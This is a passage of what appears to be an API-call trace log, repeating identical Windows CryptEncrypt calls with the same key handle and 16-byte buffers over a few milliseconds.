dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.966] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.967] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.968] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.970] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.971] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.971] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.971] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.971] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.972] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 